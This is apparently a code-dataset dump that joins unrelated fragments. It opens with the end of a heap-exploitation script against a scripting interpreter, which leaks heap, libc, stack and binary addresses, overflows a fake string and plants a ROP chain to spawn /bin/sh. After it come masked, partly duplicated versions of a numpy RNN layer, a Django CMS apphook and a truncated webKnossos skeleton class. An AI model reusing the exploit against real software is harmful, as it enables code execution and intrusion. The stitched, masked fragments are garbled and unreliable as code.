fake_str_addr = heap_base + 0xb0\n fake_str = p64(length) + p64(addr)\n evl(b'l=\"' + fake_str + b'\"') # will be at offset 0xb0 from heap start\n\n for i in range(15):\n evl('{}'.format(i))\n # 19 slots filled\n\n # allocate 20th slot with integer value containing the addr of our fake string. The allocate_value() during do_add_assign triggers GC and frees the lhs value\n # Then the output value is allocated into the same slot. Since the output value is String (type of x),\n # lhs is turned into a string with controlled pointer\n evl('a={}+x'.format(fake_str_addr))\n gc(16)\n return readstrvar('a')[0:length]\n\n\ndef leak2(addr, length):\n \"\"\"Same as above, but different offsets...\"\"\"\n fake_str_addr = heap_base + 0x170\n fake_str = p64(length) + p64(addr)\n evl(b'l=\"' + fake_str + b'\"') # will be at offset 0xb0 from heap start\n\n for i in range(12):\n evl('{}'.format(i))\n\n evl('a={}+x'.format(fake_str_addr))\n return readstrvar('a')[0:length]\n\n\ndef pwn():\n global heap_base\n\n recvtil('>')\n\n evl('x=\"XXXXXXXXXXXXXXXX\"') # Workaround, need global object or else GC will crash\n # 2 slots always filled from now on (global object and int value 1337)\n\n heap_base = heapleak()\n # 3 slots always filled from now on\n\n print_good(\"Heap base @ 0x{:x}\".format(heap_base))\n\n # Create a smallbin chunk so we can leak a libc pointer\n evl('\"{}\"'.format('A' * 0x100))\n gc(20 - 4)\n\n\n # Leak freelist pointers pointing into the libc\n heap_mem = leak(heap_base, 0x1000)\n for i in range(0, len(heap_mem)-16, 8):\n # Search for 2 consecutive pointers, those will be the flink and blink of the freed smallbin chunk\n flink = u64(heap_mem[i:i+8])\n blink = u64(heap_mem[i+8:i+16])\n if (abs(flink - heap_base) > 0x10000 and\n flink > 0x7f0000000000 and\n flink < 0x800000000000 and\n blink > 0x7f0000000000 and\n blink < 0x800000000000):\n break\n else:\n print_bad(\"No freelist pointers found :(\")\n return\n\n libc = flink - 0x3c1928\n print_good(\"libc @ 0x{:x}\".format(libc))\n\n\n # Leak stack pointer by reading environ pointer in libc\n env_ptr = u64(leak2(libc + 0x3c44a0, 8))\n print_good(\"stack @ 0x{:x}\".format(env_ptr))\n\n\n # Calculate addresses\n system = libc + 0x46590\n bin_sh = libc + 0x180103\n pop_rdi = libc + 0x22b9a\n pop_rsi = libc + 0x24885\n pop_rdx = libc + 0x1b8e\n add_rsp_0x48 = libc + 0xf5b8b\n\n print_good(\"/bin/sh @ 0x{:x}\".format(bin_sh))\n\n input_buf = env_ptr - 0x328\n print_good(\"input_buf @ 0x{:x}\".format(input_buf))\n ret_addr = env_ptr - 0x328 - 8\n print_good(\"return address @ 0x{:x}\".format(ret_addr))\n\n\n # 5 slots always filled from now\n\n #\n # Heap spray with Property instances to get a controlled heap layout again\n #\n # Make some objects\n evl('l.a=x')\n evl('h.a=x')\n evl('a.a=x')\n evl('b.a=x')\n evl('c.a=x')\n evl('d.a=x')\n evl('e.a=x')\n evl('f.a=x')\n\n # Trigger GC\n for i in range(9):\n evl('\"{}\"'.format('A' * 0x10))\n evl('1337')\n\n # 10 slots used\n\n # Allocate lots of properties (but no values)\n for o in ['l', 'a', 'h', 'a', 'b', 'c', 'd', 'e', 'f']:\n for p in ALPHABET:\n evl('{}.{}=x'.format(o, p))\n\n\n # Set up heap layout for unbounded heap overflow. We need the following layout:\n # | chunk to overflow from | ... | Property to corrupt | ... | Fake string |\n # We overflow into \"Fake string\" to set it's size to 0 and avoid a segfault.\n for i in range(6):\n evl('1337')\n\n # Create some properties\n for i in 'ghijk':\n evl('{}=x'.format(i))\n\n # Fake string with length 0xffffffXX => leads to an integer overflow during string_concat and subsequently a heap buffer overflow\n fake_str = p64(0xffffffffffffffff - 0xf - (0x180 - 0x10)) + p64(0x414141414141) + b'D'*0xf0\n evl(b'n=\"' + fake_str + b'\"')\n payload = b'\\x00' * 64 + p64(ord('p')) + p64(input_buf + 16 + 0x100) +p64(input_buf-7)\n payload += b'\\x00' * (0x180 - len(payload))\n evl(b'o=\"' + payload + b'\"')\n\n fake_str_addr = heap_base + 0x1e80\n # Trigger the overflow\n evl('p=o+{}'.format(fake_str_addr))\n\n\n # Set up a fake string property in the stack ('p' points to it). We need to leak the binary base from the return address\n payload = b'A' * 0x100\n payload += p64(1) + p64(input_buf + 16 + 0x100 + 0x18) + p64(0)\n payload += p64(8) + p64(ret_addr)\n evl(payload)\n\n binary = readstrvar('p')\n binary = u64(binary) - 2769\n print_good(\"binary @ 0x{:x}\".format(binary))\n\n offset_to_ret = ret_addr - (input_buf & 0xffffffffffffff00)\n print_good(\"offset to return address: 0x{:x}\".format(offset_to_ret))\n\n # Some unfortunate restrictions...\n if offset_to_ret > 0x28 or offset_to_ret < 0:\n print_bad(\"Bad offset\")\n return\n\n prop_name = p64(binary + 0xAC9)[1]\n if prop_name < ord('A') or prop_name > ord('z'):\n print_bad(\"Bad propery name: {}\".format(prop_name))\n return\n\n prop_name = chr(prop_name)\n print_good(\"property name: {}\".format(prop_name))\n\n # Write ROP chain into stack\n payload = b'A' * 56\n payload += p64(pop_rdi)\n payload += p64(bin_sh)\n payload += p64(system)\n validate(payload, [b'\\n'])\n evl(payload)\n\n # Trigger corruption of InputBuffer.ptr to point further down in the stack\n evl('{}=42'.format(prop_name))\n\n # Next input will be written into the stack frame of readline(). Overwrite the return address with \"add rsp, 0x48 ; ret\"\n payload = b'A'*offset_to_ret\n payload += p64(add_rsp_0x48)\n validate(payload, [b'\\n'])\n evl(payload)\n\n # Wait a short while and drop into interactive mode == shell\n time.sleep(0.5)\n\n interact()\n\nif __name__ == '__main__':\n pwn()\n", "step-ids": [ 30, 44, 58, 59, 63 ] }
[ 30, 44, 58, 59, 63 ]
<|reserved_special_token_0|> class RecurrentLayer(object): <|reserved_special_token_0|> def forward(self, input_vec): self.time += 1 state = np.dot(self.U, input_vec) + np.dot(self.W, self.state_list[-1]) element_wise_op(state, self.activator.forward) self.state_list.append(state) <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def bpttupdate(self): self.W -= self.grad * self.learning_rate <|reserved_special_token_1|> <|reserved_special_token_0|> class RecurrentLayer(object): def __init__(self, input_dim, state_dim, activator, learning_rate): self.input_dim = input_dim self.state_dim = state_dim self.activator = activator self.learning_rate = learning_rate self.time = 0 self.state_list = np.zeros((state_dim, 1)) self.W = np.random.uniform(-0.001, 0.001, (state_dim, state_dim)) self.U = np.random.uniform(-0.001, 0.001, (state_dim, input_dim)) def forward(self, input_vec): self.time += 1 state = np.dot(self.U, input_vec) + np.dot(self.W, self.state_list[-1]) element_wise_op(state, self.activator.forward) self.state_list.append(state) <|reserved_special_token_0|> def calcu_delta(self, sensitivity_array, activator): self.delta_list = [] for i in range(self.time): self.delta_list.append(np.zeros(self.state_dim, 1)) self.delta_list.append(sensitivity_array) for k in range(self.time - 1, 0, -1): self.calcu_delta_k(k, activator) def calcu_delta_k(self, k, activator): state = self.state_list[k + 1].copy() element_wise_op(self.state_list[k + 1], activator.backward) self.state_list[k] = np.dot(np.dot(self.state_list[k + 1].T, self.W ), np.diag(state[:, 0])).T def calcu_grad(self): self.grad_list = [] for t in range(self.time + 1): self.grad_list.append(np.zeros((self.state_dim, self.state_dim))) for t in range(self.time, 0, -1): self.calcu_grad_t(t) self.grad = reduce(lambda a, b: a + b, self.grad_list, self.grad) def calcu_grad_t(self, t): grad = np.dot(self.delta_list[t], self.delta_list[t - 1].T) self.grad_list[t] = grad def bpttupdate(self): self.W -= self.grad * self.learning_rate <|reserved_special_token_1|> <|reserved_special_token_0|> class RecurrentLayer(object): def __init__(self, input_dim, state_dim, activator, learning_rate): self.input_dim = input_dim self.state_dim = state_dim self.activator = activator self.learning_rate = learning_rate self.time = 0 self.state_list = np.zeros((state_dim, 1)) self.W = np.random.uniform(-0.001, 0.001, (state_dim, state_dim)) self.U = np.random.uniform(-0.001, 0.001, (state_dim, input_dim)) def forward(self, input_vec): self.time += 1 state = np.dot(self.U, input_vec) + np.dot(self.W, self.state_list[-1]) element_wise_op(state, self.activator.forward) self.state_list.append(state) def bptt(self, sensitivity_array, activator): self.calcu_delta(sensitivity_array, activator) self.calcu_grad() def calcu_delta(self, sensitivity_array, activator): self.delta_list = [] for i in range(self.time): self.delta_list.append(np.zeros(self.state_dim, 1)) self.delta_list.append(sensitivity_array) for k in range(self.time - 1, 0, -1): self.calcu_delta_k(k, activator) def calcu_delta_k(self, k, activator): state = self.state_list[k + 1].copy() element_wise_op(self.state_list[k + 1], activator.backward) self.state_list[k] = np.dot(np.dot(self.state_list[k + 1].T, self.W ), np.diag(state[:, 0])).T def calcu_grad(self): self.grad_list = [] for t in range(self.time + 1): self.grad_list.append(np.zeros((self.state_dim, self.state_dim))) for t in range(self.time, 0, -1): self.calcu_grad_t(t) self.grad = reduce(lambda a, b: a + b, self.grad_list, self.grad) def calcu_grad_t(self, t): grad = np.dot(self.delta_list[t], self.delta_list[t - 1].T) self.grad_list[t] = grad def bpttupdate(self): self.W -= self.grad * self.learning_rate <|reserved_special_token_1|> <|reserved_special_token_0|> def element_wise_op(x, operation): for i in np.nditer(x, op_flags=['readwrite']): i[...] = operation[i] class RecurrentLayer(object): def __init__(self, input_dim, state_dim, activator, learning_rate): self.input_dim = input_dim self.state_dim = state_dim self.activator = activator self.learning_rate = learning_rate self.time = 0 self.state_list = np.zeros((state_dim, 1)) self.W = np.random.uniform(-0.001, 0.001, (state_dim, state_dim)) self.U = np.random.uniform(-0.001, 0.001, (state_dim, input_dim)) def forward(self, input_vec): self.time += 1 state = np.dot(self.U, input_vec) + np.dot(self.W, self.state_list[-1]) element_wise_op(state, self.activator.forward) self.state_list.append(state) def bptt(self, sensitivity_array, activator): self.calcu_delta(sensitivity_array, activator) self.calcu_grad() def calcu_delta(self, sensitivity_array, activator): self.delta_list = [] for i in range(self.time): self.delta_list.append(np.zeros(self.state_dim, 1)) self.delta_list.append(sensitivity_array) for k in range(self.time - 1, 0, -1): self.calcu_delta_k(k, activator) def calcu_delta_k(self, k, activator): state = self.state_list[k + 1].copy() element_wise_op(self.state_list[k + 1], activator.backward) self.state_list[k] = np.dot(np.dot(self.state_list[k + 1].T, self.W ), np.diag(state[:, 0])).T def calcu_grad(self): self.grad_list = [] for t in range(self.time + 1): self.grad_list.append(np.zeros((self.state_dim, self.state_dim))) for t in range(self.time, 0, -1): self.calcu_grad_t(t) self.grad = reduce(lambda a, b: a + b, self.grad_list, self.grad) def calcu_grad_t(self, t): grad = np.dot(self.delta_list[t], self.delta_list[t - 1].T) self.grad_list[t] = grad def bpttupdate(self): self.W -= self.grad * self.learning_rate <|reserved_special_token_1|> #!/usr/bin/python # -*- coding:utf-8 -*- import numpy as np from functools import reduce def element_wise_op(x, operation): for i in np.nditer(x, op_flags=['readwrite']): i[...] = operation[i] class RecurrentLayer(object): def __init__(self, input_dim, state_dim, activator, learning_rate): self.input_dim = input_dim self.state_dim = state_dim self.activator = activator self.learning_rate = learning_rate self.time = 0 self.state_list = np.zeros((state_dim, 1)) #Initialization of state series in time 0 self.W = np.random.uniform(-1e-3, 1e-3, (state_dim, state_dim)) self.U = np.random.uniform(-1e-3, 1e-3, (state_dim, input_dim)) def forward(self, input_vec): self.time += 1 state = (np.dot(self.U, input_vec) + np.dot(self.W, self.state_list[-1])) element_wise_op(state, self.activator.forward) self.state_list.append(state) def bptt(self, sensitivity_array, activator): self.calcu_delta(sensitivity_array, activator) self.calcu_grad() def calcu_delta(self, sensitivity_array, activator): self.delta_list = [] for i in range(self.time): self.delta_list.append(np.zeros(self.state_dim, 1)) self.delta_list.append(sensitivity_array) for k in range(self.time -1, 0, -1): self.calcu_delta_k(k, activator) def calcu_delta_k(self, k, activator): state = self.state_list[k+1].copy() element_wise_op(self.state_list[k+1], activator.backward) self.state_list[k] = np.dot(np.dot(self.state_list[k+1].T, self.W), np.diag(state[:, 0])).T def calcu_grad(self): self.grad_list = [] for t in range(self.time + 1): self.grad_list.append(np.zeros((self.state_dim, self.state_dim))) for t in range(self.time, 0, -1): self.calcu_grad_t(t) self.grad = reduce(lambda a, b: a+b, self.grad_list, self.grad) def calcu_grad_t(self, t): grad = np.dot(self.delta_list[t], self.delta_list[t-1].T) self.grad_list[t] = grad def bpttupdate(self): self.W -= self.grad * self.learning_rate
flexible
{ "blob_id": "b34ce3ac87a01b8e80abc3fde1c91638f2896610", "index": 2392, "step-1": "<mask token>\n\n\nclass RecurrentLayer(object):\n <mask token>\n\n def forward(self, input_vec):\n self.time += 1\n state = np.dot(self.U, input_vec) + np.dot(self.W, self.state_list[-1])\n element_wise_op(state, self.activator.forward)\n self.state_list.append(state)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def bpttupdate(self):\n self.W -= self.grad * self.learning_rate\n", "step-2": "<mask token>\n\n\nclass RecurrentLayer(object):\n\n def __init__(self, input_dim, state_dim, activator, learning_rate):\n self.input_dim = input_dim\n self.state_dim = state_dim\n self.activator = activator\n self.learning_rate = learning_rate\n self.time = 0\n self.state_list = np.zeros((state_dim, 1))\n self.W = np.random.uniform(-0.001, 0.001, (state_dim, state_dim))\n self.U = np.random.uniform(-0.001, 0.001, (state_dim, input_dim))\n\n def forward(self, input_vec):\n self.time += 1\n state = np.dot(self.U, input_vec) + np.dot(self.W, self.state_list[-1])\n element_wise_op(state, self.activator.forward)\n self.state_list.append(state)\n <mask token>\n\n def calcu_delta(self, sensitivity_array, activator):\n self.delta_list = []\n for i in range(self.time):\n self.delta_list.append(np.zeros(self.state_dim, 1))\n self.delta_list.append(sensitivity_array)\n for k in range(self.time - 1, 0, -1):\n self.calcu_delta_k(k, activator)\n\n def calcu_delta_k(self, k, activator):\n state = self.state_list[k + 1].copy()\n element_wise_op(self.state_list[k + 1], activator.backward)\n self.state_list[k] = np.dot(np.dot(self.state_list[k + 1].T, self.W\n ), np.diag(state[:, 0])).T\n\n def calcu_grad(self):\n self.grad_list = []\n for t in range(self.time + 1):\n self.grad_list.append(np.zeros((self.state_dim, self.state_dim)))\n for t in range(self.time, 0, -1):\n self.calcu_grad_t(t)\n self.grad = reduce(lambda a, b: a + b, self.grad_list, self.grad)\n\n def calcu_grad_t(self, t):\n grad = np.dot(self.delta_list[t], self.delta_list[t - 1].T)\n self.grad_list[t] = grad\n\n def bpttupdate(self):\n self.W -= self.grad * self.learning_rate\n", "step-3": "<mask token>\n\n\nclass RecurrentLayer(object):\n\n def __init__(self, input_dim, state_dim, activator, learning_rate):\n self.input_dim = input_dim\n self.state_dim = state_dim\n self.activator = activator\n self.learning_rate = learning_rate\n self.time = 0\n self.state_list = np.zeros((state_dim, 1))\n self.W = np.random.uniform(-0.001, 0.001, (state_dim, state_dim))\n self.U = np.random.uniform(-0.001, 0.001, (state_dim, input_dim))\n\n def forward(self, input_vec):\n self.time += 1\n state = np.dot(self.U, input_vec) + np.dot(self.W, self.state_list[-1])\n element_wise_op(state, self.activator.forward)\n self.state_list.append(state)\n\n def bptt(self, sensitivity_array, activator):\n self.calcu_delta(sensitivity_array, activator)\n self.calcu_grad()\n\n def calcu_delta(self, sensitivity_array, activator):\n self.delta_list = []\n for i in range(self.time):\n self.delta_list.append(np.zeros(self.state_dim, 1))\n self.delta_list.append(sensitivity_array)\n for k in range(self.time - 1, 0, -1):\n self.calcu_delta_k(k, activator)\n\n def calcu_delta_k(self, k, activator):\n state = self.state_list[k + 1].copy()\n element_wise_op(self.state_list[k + 1], activator.backward)\n self.state_list[k] = np.dot(np.dot(self.state_list[k + 1].T, self.W\n ), np.diag(state[:, 0])).T\n\n def calcu_grad(self):\n self.grad_list = []\n for t in range(self.time + 1):\n self.grad_list.append(np.zeros((self.state_dim, self.state_dim)))\n for t in range(self.time, 0, -1):\n self.calcu_grad_t(t)\n self.grad = reduce(lambda a, b: a + b, self.grad_list, self.grad)\n\n def calcu_grad_t(self, t):\n grad = np.dot(self.delta_list[t], self.delta_list[t - 1].T)\n self.grad_list[t] = grad\n\n def bpttupdate(self):\n self.W -= self.grad * self.learning_rate\n", "step-4": "<mask token>\n\n\ndef element_wise_op(x, operation):\n for i in np.nditer(x, op_flags=['readwrite']):\n i[...] = operation[i]\n\n\nclass RecurrentLayer(object):\n\n def __init__(self, input_dim, state_dim, activator, learning_rate):\n self.input_dim = input_dim\n self.state_dim = state_dim\n self.activator = activator\n self.learning_rate = learning_rate\n self.time = 0\n self.state_list = np.zeros((state_dim, 1))\n self.W = np.random.uniform(-0.001, 0.001, (state_dim, state_dim))\n self.U = np.random.uniform(-0.001, 0.001, (state_dim, input_dim))\n\n def forward(self, input_vec):\n self.time += 1\n state = np.dot(self.U, input_vec) + np.dot(self.W, self.state_list[-1])\n element_wise_op(state, self.activator.forward)\n self.state_list.append(state)\n\n def bptt(self, sensitivity_array, activator):\n self.calcu_delta(sensitivity_array, activator)\n self.calcu_grad()\n\n def calcu_delta(self, sensitivity_array, activator):\n self.delta_list = []\n for i in range(self.time):\n self.delta_list.append(np.zeros(self.state_dim, 1))\n self.delta_list.append(sensitivity_array)\n for k in range(self.time - 1, 0, -1):\n self.calcu_delta_k(k, activator)\n\n def calcu_delta_k(self, k, activator):\n state = self.state_list[k + 1].copy()\n element_wise_op(self.state_list[k + 1], activator.backward)\n self.state_list[k] = np.dot(np.dot(self.state_list[k + 1].T, self.W\n ), np.diag(state[:, 0])).T\n\n def calcu_grad(self):\n self.grad_list = []\n for t in range(self.time + 1):\n self.grad_list.append(np.zeros((self.state_dim, self.state_dim)))\n for t in range(self.time, 0, -1):\n self.calcu_grad_t(t)\n self.grad = reduce(lambda a, b: a + b, self.grad_list, self.grad)\n\n def calcu_grad_t(self, t):\n grad = np.dot(self.delta_list[t], self.delta_list[t - 1].T)\n self.grad_list[t] = grad\n\n def bpttupdate(self):\n self.W -= self.grad * self.learning_rate\n", "step-5": "#!/usr/bin/python\n# -*- coding:utf-8 -*-\n\nimport numpy as np\nfrom functools import reduce\n\ndef element_wise_op(x, operation):\n for i in np.nditer(x, op_flags=['readwrite']):\n i[...] = operation[i]\n\nclass RecurrentLayer(object):\n def __init__(self, input_dim, state_dim, activator, learning_rate):\n self.input_dim = input_dim\n self.state_dim = state_dim\n self.activator = activator\n self.learning_rate = learning_rate\n self.time = 0\n self.state_list = np.zeros((state_dim, 1)) #Initialization of state series in time 0\n self.W = np.random.uniform(-1e-3, 1e-3, (state_dim, state_dim))\n self.U = np.random.uniform(-1e-3, 1e-3, (state_dim, input_dim))\n\n def forward(self, input_vec):\n self.time += 1\n state = (np.dot(self.U, input_vec) + np.dot(self.W, self.state_list[-1]))\n element_wise_op(state, self.activator.forward)\n self.state_list.append(state)\n\n def bptt(self, sensitivity_array, activator):\n self.calcu_delta(sensitivity_array, activator)\n self.calcu_grad()\n\n def calcu_delta(self, sensitivity_array, activator):\n self.delta_list = []\n for i in range(self.time):\n self.delta_list.append(np.zeros(self.state_dim, 1))\n self.delta_list.append(sensitivity_array)\n for k in range(self.time -1, 0, -1):\n self.calcu_delta_k(k, activator)\n\n def calcu_delta_k(self, k, activator):\n state = self.state_list[k+1].copy()\n element_wise_op(self.state_list[k+1], activator.backward)\n self.state_list[k] = np.dot(np.dot(self.state_list[k+1].T, self.W), np.diag(state[:, 0])).T\n\n def calcu_grad(self):\n self.grad_list = []\n for t in range(self.time + 1):\n self.grad_list.append(np.zeros((self.state_dim, self.state_dim)))\n for t in range(self.time, 0, -1):\n self.calcu_grad_t(t)\n self.grad = reduce(lambda a, b: a+b, self.grad_list, self.grad)\n\n def calcu_grad_t(self, t):\n grad = np.dot(self.delta_list[t], self.delta_list[t-1].T)\n self.grad_list[t] = grad\n def bpttupdate(self):\n self.W -= self.grad * self.learning_rate\n\n", "step-ids": [ 3, 8, 9, 10, 12 ] }
[ 3, 8, 9, 10, 12 ]
# -*- coding: utf-8 -*- from cms.app_base import CMSApp from cms.apphook_pool import apphook_pool from django.utils.translation import ugettext_lazy as _ class StaffApp(CMSApp): name = _('Staff') urls = ['blog.urls', ] app_name = 'staff' apphook_pool.register(StaffApp)
normal
{ "blob_id": "40ee790f4272c05c1619eb7b2cc66a8b57bbe8a8", "index": 5988, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass StaffApp(CMSApp):\n name = _('Staff')\n urls = ['blog.urls']\n app_name = 'staff'\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass StaffApp(CMSApp):\n name = _('Staff')\n urls = ['blog.urls']\n app_name = 'staff'\n\n\napphook_pool.register(StaffApp)\n", "step-4": "from cms.app_base import CMSApp\nfrom cms.apphook_pool import apphook_pool\nfrom django.utils.translation import ugettext_lazy as _\n\n\nclass StaffApp(CMSApp):\n name = _('Staff')\n urls = ['blog.urls']\n app_name = 'staff'\n\n\napphook_pool.register(StaffApp)\n", "step-5": "# -*- coding: utf-8 -*-\r\n\r\nfrom cms.app_base import CMSApp\r\nfrom cms.apphook_pool import apphook_pool\r\nfrom django.utils.translation import ugettext_lazy as _\r\n\r\n\r\nclass StaffApp(CMSApp):\r\n name = _('Staff')\r\n urls = ['blog.urls', ]\r\n app_name = 'staff'\r\n\r\n\r\napphook_pool.register(StaffApp)\r\n", "step-ids": [ 0, 2, 3, 4, 5 ] }
[ 0, 2, 3, 4, 5 ]
import os import numpy as np import networkx as nx from matplotlib import colors, cm from matplotlib import pyplot as plt from matplotlib.collections import LineCollection from mpl_toolkits.mplot3d import Axes3D, art3d from typing import Union, Sequence, List, Tuple, Optional import wknml from wkskel.types import Nodes, Parameters class Skeleton: """The Skeleton class facilitates scientific analysis and manipulation of webKnossos tracings. It is designed as a high-level interface for working with nml files generated e.g with webKnossos. It makes use of the (low-level) `wknml` package mostly as an I/O interface to nml files. Class Attributes: DEFAULTS (dict): Global default parameters which are passed to each skeleton object instance """ DEFAULTS = { 'node': { 'radius': 100, 'comment': '' }, 'tree': { 'color': (0.0, 0.0, 0.0, 1.0) } } def __init__(self, nml_path: str = None, parameters: Parameters = None, strict = True): """ The Skeleton constructor expects either a path to a nml file or a Parameters object as input arguments Args: nml_path: Path to nml file. If constructed via an nml file, the skeleton object is populated with all the trees and additional properties specified in the .nml file parameters (optional): Parameters (wkskel.types.Parameters) specifying the most rudimentary properties of the skeleton. strict (optional): Controls assertions ensuring that resulting skeleton objects are compatible with webKnossos. Default: True Examples: Using nml_path: nml_path = '/path/to/example.nml' skel = Skeleton(nml_path) Using parameters: parameters = Skeleton.define_parameters(name="2017-01-12_FD0156-2", scale=(11.24, 11.24, 32)) skel = Skeleton(parameters=parameters) """ assert (nml_path is not None) ^ (parameters is not None), \ 'To construct a skeleton object, either a path to a nml file or the skeleton parameters need to passed' self.nodes = list() self.edges = list() self.names = list() self.colors = list() self.tree_ids = list() self.group_ids = list() self.groups = list() self.branchpoints = list() self.parameters = Parameters() self.nml_path = str() self.strict = strict self.defaults = self.DEFAULTS # Construct from nml file if nml_path is not None: assert os.path.exists(nml_path), \ 'not a valid path: {}'.format(nml_path) try: with open(nml_path, "rb") as f: nml = wknml.parse_nml(f) except IOError: print('not a valid nml file: {}'.format(nml_path)) self._nml_to_skeleton(nml) # Construct from parameters else: assert type(parameters) is Parameters, \ 'provided parameters must be of type wkskel.types.Parameters' self._parameters_to_skeleton(parameters) def add_tree(self, nodes: Nodes = Nodes(), edges: Union[List[Tuple[int, int]], np.ndarray] = None, tree_id: int = None, name: str = '', group_id: int = None, color: Tuple[float, float, float, float] = None): """ Appends new tree to skeleton. Args: nodes (optional): Nodes representing tree to be added edges (optional): Edges representing tree to be added tree_id (optional): Tree id to be used for new tree. Default: Highest current tree id + 1 name (optional): Name to be used for new tree. Default: Empty str group_id (optional): Group id to be used for new tree. If passed group id does not exist, it is created. Default: None color (optional): Color to be used for new tree specified as (r, g, b, alpha). Default: (0, 0, 0, 1) """ if edges is None: edges = np.empty((0, 2), dtype=np.uint32) elif type(edges) is list: edges = np.asarray(edges) if self.strict & (len(nodes) > 1): assert Skeleton._num_conn_comp(Skeleton._get_graph(nodes, edges)) == 1, \ 'Added tree consists of more than one connected component' if tree_id is None: tree_id = self.max_tree_id() + 1 if (group_id is not None) & (group_id not in self.groups_ids()): self.add_group(id=group_id) if color is None: color = self.defaults['tree']['color'] self.nodes.append(nodes) self.edges.append(edges) self.tree_ids.append(tree_id) self.group_ids.append(group_id) self.names.append(name) self.colors.append(color) def add_tree_from_skel(self, skel: 'Skeleton', tree_idx: int, group_id: int = None, name: str = None): """ Appends a specific tree contained in a different skeleton object to the skeleton. Args: skel: Source skeleton object (different from the one calling this method) to be added tree_idx: Source tree index of tree to be added group_id (optional): Target group id to which the added tree should be assigned. Default: None name (optional): Target name for the added tree """ if group_id not in self.groups_ids(): self.add_group(id=group_id) if name is None: name = skel.names[tree_idx] skel._reset_node_ids(self.max_node_id() + 1) skel._reset_tree_ids(self.max_tree_id() + 1) self.nodes = self.nodes + [skel.nodes[tree_idx]] self.edges = self.edges + [skel.edges[tree_idx]] self.tree_ids = self.tree_ids + [skel.tree_ids[tree_idx]] self.group_ids = self.group_ids + [group_id] self.names = self.names + [name] self.colors = self.colors + [skel.colors[tree_idx]] return self def add_trees_from_skel(self, skel: 'Skeleton'): """ Appends all trees contained in a different skeleton object to the skeleton. This method attempts to preserve the relative group structure found in the skeleton object to be added Args: skel: Source skeleton object (different from the one calling this method) to be added """ skel._reset_node_ids(self.max_node_id() + 1) skel._reset_tree_ids(self.max_tree_id() + 1) max_group_id = self.max_group_id() if max_group_id is not None: skel._reset_group_ids(max_group_id + 1) self.nodes = self.nodes + skel.nodes self.edges = self.edges + skel.edges self.tree_ids = self.tree_ids + skel.tree_ids self.group_ids = self.group_ids + skel.group_ids self.groups = self.groups + skel.groups self.names = self.names + skel.names self.colors = self.colors + skel.colors return self def add_nodes_as_trees(self, nodes: Nodes, tree_ids: List[int] = None, group_ids: List[int] = None, names: List[str] = None, colors: List[Tuple[float, float, float, float]] = None): """ Appends each of the specified nodes as separate trees to the skeleton (1 node each). Args: nodes: Nodes representing the trees to be added tree_ids (optional): Tree ids to be assigned to the newly added trees. Default: Global max + [1, n] group_ids (optional): Group ids to be assigned to the newly added trees. Default: None names (optional): Names to be assigned to the newly added trees. colors (optional): Colors to be used for the new trees specified as (r, g, b, alpha). Default: (0, 0, 0, 1) """ if tree_ids is None: tree_id_start = self.max_tree_id() + 1 tree_id_end = tree_id_start + len(nodes) tree_ids = list(range(tree_id_start, tree_id_end)) if group_ids is None: group_ids = [None for x in range(len(nodes))] if names is None: names = ['' for x in range(len(nodes))] if colors is None: colors = [(0.0, 0.0, 0.0, 1.0) for x in range(len(nodes))] for node_idx, _ in nodes.iterrows(): self.add_tree( nodes=nodes[node_idx:node_idx+1], tree_id=tree_ids[node_idx], group_id=group_ids[node_idx], name=names[node_idx], color=colors[node_idx] ) def delete_tree(self, idx: int = None, id: int = None): """ Deletes tree with specified idx or id. Args: idx: Linear index of tree to be deleted id: Id of tree to be deleted """ if id is not None: idx = self.tree_ids.index(id) self.nodes.pop(idx) self.edges.pop(idx) self.names.pop(idx) self.colors.pop(idx) self.tree_ids.pop(idx) self.group_ids.pop(idx) def add_group(self, parent_id: int = None, id: int = None, name: str = None): """ Adds a new group to skeleton object. Args: parent_id: Parent group id to which new group is added as a child. Default: None (root group) id: Id of new group to be added. Default: Current max group id + 1 name: Name of new group to be added. Default: 'Group {}'.format(id) Returns: id: Id of added group name: Name of added group """ if parent_id is not None: assert (parent_id in self.group_ids), ('Parent id does not exist') if id is None: id = int(np.nanmax(np.asarray(self.group_ids, dtype=np.float)) + 1) else: assert (id not in self.groups_ids()), ('Id already exists') if name is None: name = 'Group {}'.format(id) new_group = wknml.Group(id, name, []) if parent_id is None: self.groups.append(new_group) else: self.groups = Skeleton._group_append(self.groups, parent_id, new_group) return id, name def delete_group(self, id, target_id): # TODO pass def define_nodes(self, position_x: List[int], position_y: List[int], position_z: List[int], id: List[int] = None, radius: Optional[List[int]] = None, rotation_x: Optional[List[float]] = None, rotation_y: Optional[List[float]] = None, rotation_z: Optional[List[float]] = None, inVP: Optional[List[int]] = None, inMag: Optional[List[int]] = None, bitDepth: Optional[List[int]] = None, interpolation: Optional[List[bool]] = None, time: Optional[List[int]] = None, comment: Optional[List[int]] = None) -> Nodes: """ Generates new nodes table from data. Args: position_x: Node position x position_y: Node position y position_z: Node position z id (optional): (Globally unique) Node id. Default: New unique ids are generated radius (optional): Node radius rotation_x (optional): Node rotation x rotation_y (optional): Node rotation y rotation_z (optional): Node rotation z inVP (optional): Viewport index in which node was placed inMag (optional): (De-)Magnification factor in which node was placed bitDepth (optional): Bit (Color) Depth in which node was placed interpolation (optional): Interpolation state in which node was placed time (optional): Time stamp at which node was placed comment (optional): Comment associated with node Returns: nodes: Nodes object """ if id is None: id_max = self.max_node_id() id = list(range(id_max+1, id_max+len(position_x)+1)) nodes = Nodes.from_list(id, position_x, position_y, position_z, radius, rotation_x, rotation_y, rotation_z, inVP, inMag, bitDepth, interpolation, time, comment) return nodes def define_nodes_from_positions(self, positions: np.ndarray) -> Nodes: """ Generates new nodes table from positions only (node ids are generated automatically). Args: positions (N x 3): Numpy array holding the (x,y,z) positions to be returned as nodes in a Nodes table Returns: nodes: Nodes object """ id_max = self.max_node_id() id = np.array(range(id_max + 1, id_max + positions.shape[0] + 1)).reshape(-1, 1) nodes = Nodes.from_numpy(np.append(id, positions, axis=1)) return nodes def get_distances_to_node(self, positions: Union[Sequence[Tuple[int, int, int]], np.ndarray], node_id: int = None, tree_idx: int = None, node_idx: int = None, unit: str = 'um') -> List[np.ndarray]: """ Get the (euclidean) distances from the specified node to the provided (x,y,z) positions Args: positions (N x 3): Target (x,y,z) positions to which the distances should be computed node_id: Node id of the node for which the distances should be computed tree_idx: Tree idx of the node for which the distances should be computed node_idx: Node idx of the node for which the distances should be 